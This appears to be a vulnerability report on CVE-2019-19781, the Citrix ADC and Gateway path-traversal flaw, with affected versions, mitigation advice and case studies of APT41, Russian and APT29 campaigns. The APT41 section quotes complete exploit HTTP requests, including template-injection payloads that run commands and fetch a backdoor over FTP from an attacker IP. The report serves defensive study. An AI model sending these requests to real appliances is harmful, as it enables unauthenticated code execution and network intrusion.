**CVE 2019-19781 Report**

**Description of affected Product and software**

The vulnerability has been identified in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.

The scope of this vulnerability includes Citrix ADC and Citrix Gateway Virtual Appliances (VPX) hosted on any of Citrix Hypervisor (formerly XenServer), ESX, Hyper-V, KVM, Azure, AWS, GCP, Citrix ADC MPX or Citrix ADC SDX.

Further investigation by Citrix has shown that this issue also affects certain deployments of Citrix SD-WAN, specifically Citrix SD-WAN WANOP edition. Citrix SD-WAN WANOP edition packages Citrix ADC as a load balancer thus resulting in the affected status.

**What is Citrix**

cloud computing and virtualization technology company that provides server, application and desktop virtualization, networking, software as a service, and cloud computing technologies

An application delivery controller employs algorithms and policies to determine how inbound application traffic is distributed. Round robin, which forwards client requests to each server in turn, is a fairly rudimentary form of load balancing.

**Technical detail on vulnerability**

Vulnerability that affects Citrix Application Delivery Controller (ADC) and Gateway.

Citrix Application Delivery Controller (formerly NetScaler ADC) is an application delivery and load balancing solution.

Citrix Gateway (formerly NetScaler Gateway) is a secure remote access network gateway solution that is offered as a cloud service or an on-premises solution.

Citrix confirmed that CVE-2019-19781 affects:

Citrix ADC and Citrix Gateway version 13.0 all supported builds

Citrix ADC and NetScaler Gateway version 12.1 all supported builds

Citrix ADC and NetScaler Gateway version 12.0 all supported builds

Citrix ADC and NetScaler Gateway version 11.1 all supported builds

Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

The vulnerability may allow unauthenticated attackers to obtain direct access to the company’s local network from the internet.

Depending on specific configuration, Citrix applications can be used for connecting to workstations and critical business systems (including ERP). In almost every case, Citrix applications are accessible on the company network perimeter, and are therefore the first to be attacked. This vulnerability allows any unauthorized attacker to not only access published applications, but also attack other resources of the company’s internal network from the Citrix server.

**Impact description**

This critical vulnerability is a path traversal bug that can be exploited over the internet by an attacker. It can be exploited to remotely execute code, enabling control over devices and access to internal enterprise networks. An attacker would not have to provide authentication credentials for the device when launching an attack. Instead, a threat actor could send a boobytrapped request to the vulnerable Citrix appliance, along with the exploit code they want to execute.

It is estimated that currently, more than 80,000 Citrix implementations are vulnerable. Citrix has now published configuration changes to help users mitigate organizations from being vulnerable to these attacks. The company stated they expect fixes for versions 10.5x through 13.0x to be rolled out between January 20-31, 2020.

**Recommendation on fixing/mitigating vulnerability**

The recommended actions to fix or mitigate CVE-2019-19781 vulnerability in Citrix ADC and Gateway are to immediately upgrade to a fixed build or apply the provided mitigation. Fixed builds have been released across all supported versions of Citrix ADC and Citrix Gateway. Customers who have chosen to immediately apply the mitigation should then upgrade all of their vulnerable appliances to a fixed build of the appliance at their earliest schedule.

While Citrix strongly recommends either upgrading to a fixed build or applying the recommended mitigation, here are some additional recommendations they provide for additional protection against CVE-2019-19781:

1) Restrict access to the affected Citrix Gateway, Citrix SD-WAN WANOP appliances and Citrix ADC to trusted network traffic only. This can be done via AD group policies, firewalls, or other security solutions.

2) Use application-layer inspection tools to identify malicious traffic and prevent exploitation of the vulnerability.

3) Monitor for potential threat activity against the vulnerability and act if detected.

Nevertheless, the most effective mitigation is still to upgrade to the fixed build or apply the recommended mitigation.

Resources:

* https://citrix.com, "Why can't I download this file?” (/article/CTX290034),
* Log in to Verify Download Permissions (<https://ssoservice.citrix.com/sso/login?url=https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance>)
* https://support.citrix.com/user/alerts (<https://support.citrix.com/user/alerts>)

**Case Studies - security incidents**

APT41 is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations.

Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC

APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

**Example APT41 HTTP traffic exploiting CVE-2019-19781**

POST /vpns/portal/scripts/newbm.pl HTTP/1.1

Host: [redacted]

Connection: close

Accept-Encoding: gzip, deflate

Accept: \*/\*

User-Agent: python-requests/2.22.0

NSC\_NONCE: nsroot

NSC\_USER: ../../../netscaler/portal/templates/[redacted]

Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print`file/bin/pwd`')%]

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command **‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’,** which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

**Example APT41 HTTP traffic exploiting CVE-2019-19781**

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1

Accept-Encoding: identity

Content-Length: 147

Connection: close

Nsc\_User: ../../../netscaler/portal/templates/[redacted]

User-Agent: Python-urllib/2.7

Nsc\_Nonce: nsroot

Host: [redacted]

Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

**Example APT41 HTTP traffic exploiting CVE-2019-19781**

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1

Accept-Encoding: identity

Content-Length: 145

Connection: close

Nsc\_User: ../../../netscaler/portal/templates/[redacted]

User-Agent: Python-urllib/2.7

Nsc\_Nonce: nsroot

Host: [redacted]

Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

**Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets**

Since at least September 2020, a Russian state-sponsored APT actor—known variously as Berserk Bear, Energetic Bear, TeamSpy, Dragonfly, Havex, Crouching Yeti, and Koala in open-source reporting—has conducted a campaign against a wide variety of U.S. targets. The Russian state-sponsored APT actor has targeted dozens of SLTT government and aviation networks, attempted intrusions at several SLTT organizations, successfully compromised network infrastructure, and as of October 1, 2020, exfiltrated data from at least two victim servers.

The Russian-sponsored APT actor is obtaining user and administrator credentials to establish initial access, enable lateral movement once inside the network, and locate high value assets in order to exfiltrate data. In at least one compromise, the APT actor laterally traversed an SLTT victim network and accessed documents related to:

* Sensitive network configurations and passwords.
* Standard operating procedures (SOP), such as enrolling in multi-factor authentication (MFA).
* IT instructions, such as requesting password resets.
* Vendors and purchasing information.
* Printing access badges.

The APT actor scanned for vulnerable Citrix and Microsoft Exchange services and identified vulnerable systems, likely for future exploitation. This actor continues to exploit a Citrix Directory Traversal Bug (CVE-2019-19781) and a Microsoft Exchange remote code execution flaw (CVE-2020-0688).

**Advisory: APT29 targets COVID-19 vaccine development**

The group frequently uses publicly available exploits to conduct widespread scanning and exploitation against vulnerable systems, likely in an effort to obtain authentication credentials to allow further access. This broad targeting potentially gives the group access to a large number of systems globally, many of which are unlikely to be of immediate intelligence value. The group

may maintain a store of stolen credentials in order to access these systems in the event that they become more relevant to their requirements in the future.

The group has been successful using recently published exploits to gain initial footholds.

The group likely seeks to take full advantage of a variety of new exploits when publicised.